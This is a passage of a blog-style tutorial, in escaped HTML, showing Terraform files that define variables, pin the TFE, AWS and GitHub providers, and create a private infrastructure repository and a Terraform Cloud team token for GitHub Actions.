#F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The hostname of the TFC or TFE instance you'd like to use with AWS\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_project_name\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  default\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Default Project\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The project under which a workspace will be created\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_organization_name\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The name of your Terraform Cloud organization\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_organization_owner\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The owner of the TFC organization\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfc_workspaces\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The list of TFC workspaces\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_organization\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The organization the repositories are owned by\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_repo_name\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The name of the git reppository we'll create for managing infra\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_default_branch\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The default branch to utilize\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  default\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"main\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003evariable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws_root_account_id\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"The AWS root account we want to apply these changes to\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  type\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003estring\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe will use these variables in the later modules but they are mostly metadata\naround the terraform and github accounts you'll need to setup manually.\u003c/p\u003e\n\u003ch3\u003eProviders\u003c/h3\u003e\n\u003cp\u003eCreate a file called \u003ccode\u003e2-providers.tf\u003c/code\u003e and define the providers:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eterraform\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003erequired_providers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    tfe\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"hashicorp/tfe\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"0.41.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    aws\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"hashicorp/aws\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"4.58.0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    github\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      source  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"integrations/github\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      version \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"5.18.3\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"aws\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  region\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"us-east-1\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# Root account, all other accounts should be provisioned\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# via pull requests\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  allowed_account_ids\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e[var\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eaws_root_account_id]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eprovider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  owner\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_organization\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe key things there are we define \u003ccode\u003eallowed_account_ids\u003c/code\u003e to prevent us from\nworking against any account that isn't the root and we are using one of the\nvariables we defines earlier.\u003c/p\u003e\n\u003ch3\u003eGithub\u003c/h3\u003e\n\u003cp\u003eWe will utilize \u003ccode\u003eterraform\u003c/code\u003e to create the second git repository where the rest\nof the infrastructure will go. Create a file called \u003ccode\u003e3-github.tf\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"hcl\" data-theme=\"default\"\u003e\u003ccode data-language=\"hcl\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_repository\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"repo\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repo_name\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  description\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Infrastructure Repository\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  visibility\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"private\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  auto_init\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  has_issues\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_branch_default\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"default\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  repository\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_repository\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003erepo\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  branch\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003evar\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003egithub_default_branch\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_team\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"owners\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  name\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"owners\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  organization\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_organization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eorganization\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ename\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eresource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"tfe_team_token\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e\"github_actions_token\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  team_id\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e \u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003edata\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003etfe_team\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eowners\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eid\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: 